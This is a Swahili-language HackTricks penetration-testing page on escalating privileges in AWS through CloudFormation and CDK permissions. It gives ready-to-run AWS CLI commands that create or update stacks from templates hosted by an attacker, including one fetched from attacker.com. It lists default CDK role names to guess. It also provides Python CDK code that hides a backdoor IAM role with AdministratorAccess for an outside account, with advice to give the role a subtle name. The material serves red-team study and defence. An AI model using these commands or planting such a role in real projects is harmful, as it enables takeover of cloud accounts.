AWS - Cloudformation Privesc

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

cloudformation

Kwa maelezo zaidi kuhusu cloudformation angalia:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Mshambuliaji mwenye ruhusa hizi anaweza kuongeza mamlaka kwa kutunga CloudFormation stack na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Katika ukurasa ufuatao una mfano wa kuvamia na ruhusa ya ziada cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma ya cloudformation lililotajwa.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Katika kesi hii unaweza kuitumia stack ya cloudformation iliyopo kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Ruhusa cloudformation:SetStackPolicy inaweza kutumika kujiwezesha ruhusa ya UpdateStack juu ya stack na kutekeleza shambulio.

Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma la cloudformation lililotajwa.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Ikiwa una ruhusa hii lakini hakuna iam:PassRole bado unaweza kusasisha stacks zinazotumika na kutumia IAM Roles ambazo tayari zimeunganishwa. Angalia sehemu ya awali kwa mfano wa matumizi (usionyeshe jukumu lolote katika sasisho).

Ruhusa cloudformation:SetStackPolicy inaweza kutumika kujiwezesha ruhusa ya UpdateStack juu ya stack na kutekeleza shambulio.

Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma la cloudformation lililotajwa tayari.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Mshambuliaji mwenye ruhusa za kupitisha jukumu na kuunda & kutekeleza ChangeSet anaweza kuunda/kusasisha stack mpya ya cloudformation na kutumia jukumu za huduma za cloudformation kama ilivyo kwa CreateStack au UpdateStack.

Shambulio linalofuata ni tofauti ya CreateStack moja ikitumia ruhusa za ChangeSet kuunda stack.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Ruhusa cloudformation:SetStackPolicy inaweza kutumika kujipewe ruhusa za ChangeSet juu ya stack na kufanya shambulio.

Athari Zinazoweza Kutokea: Privesc kwa majukumu ya huduma ya cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Hii ni kama njia ya awali bila kupitisha majukumu ya IAM, hivyo unaweza tu kutumia yale yaliyounganishwa tayari, badilisha tu parameter:

--change-set-type UPDATE

Madhara Yanayoweza Kutokea: Privesc kwa huduma ya cloudformation ambayo tayari imeunganishwa.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Mshambuliaji anaweza kutumia ruhusa hizi kuunda/update StackSets ili kutumia majukumu ya cloudformation yasiyo na mipaka.

Madhara Yanayoweza Kutokea: Privesc kwa majukumu ya cloudformation.

cloudformation:UpdateStackSet

Mshambuliaji anaweza kutumia ruhusa hii bila ruhusa ya passRole ili kuboresha StackSets kutumia majukumu ya cloudformation yaliyounganishwa.

Madhara Yanayoweza Kutokea: Privesc kwa majukumu ya cloudformation yaliyounganishwa.

AWS CDK

AWS cdk ni zana inayowezesha watumiaji kufafanua miundombinu yao kama msimbo katika lugha wanazozijua tayari, pamoja na kuruhusu urahisi wa kutumia sehemu tena. CDK kisha inabadilisha msimbo wa kiwango cha juu (yaani python) kuwa templeti za Cloudformation (yaml au json).

Ili kutumia CDK, mtumiaji wa kiutawala lazima kwanza aweke msingi wa akaunti, ambayo inaunda majukumu kadhaa ya IAM, ikiwa ni pamoja na exec role, ambayo ina ruhusa */*. Majukumu haya yanafuata muundo wa majina cdk-<qualifier>-<name>-<account-id>-<region>. Kuweka msingi lazima kufanyike mara moja kwa kila eneo kwa kila akaunti.

Kwa kawaida, watumiaji wa CDK hawana uf access wa kuorodhesha majukumu yanayohitajika kutumia CDK, ikimaanisha kuwa utahitaji kuyatambua kwa mikono. Ikiwa utavunja mashine ya mende au node ya CI/CD, majukumu haya yanaweza kudhaniwa ili kujipa uwezo wa kupeleka templeti za CFN, ukitumia ruhusa ya cfn-exec kuruhusu CFN kupeleka rasilimali yoyote, na hivyo kuathiri akaunti hiyo kabisa.

Kutambua majina ya majukumu

Ikiwa una cloudformation:DescribeStacks, majukumu yamefafanuliwa katika stack inayoitwa CDKToolkit, na unaweza kuvuta majina kutoka hapo.

Ikiwa uko kwenye mashine ambayo imetumika kujenga na kupeleka miradi ya CDK, unaweza kuvuta kutoka cdk.out/manafest.json katika saraka ya mizizi ya miradi.

Pia unaweza kufanya makadirio mazuri kuhusu ni yapi. qualifier ni mfuatano unaoongezwa kwa majukumu kuruhusu matukio mengi ya CDK bootstrap kupelekwa kwa wakati mmoja, hata hivyo thamani ya kawaida imeandikwa kwa hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Kuongeza msimbo mbaya kwenye chanzo cha mradi

Ikiwa unaweza kuandika kwenye chanzo cha mradi, lakini huwezi kupeleka mwenyewe (kwa mfano, mende anapeleka msimbo kupitia CI/CD, si mashine ya ndani), bado unaweza kuathiri mazingira kwa kuongeza rasilimali mbaya kwenye stack. Ifuatayo inaongeza jukumu la IAM ambalo linaweza kuchukuliwa na akaunti ya mshambuliaji kwenye mradi wa python CDK.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks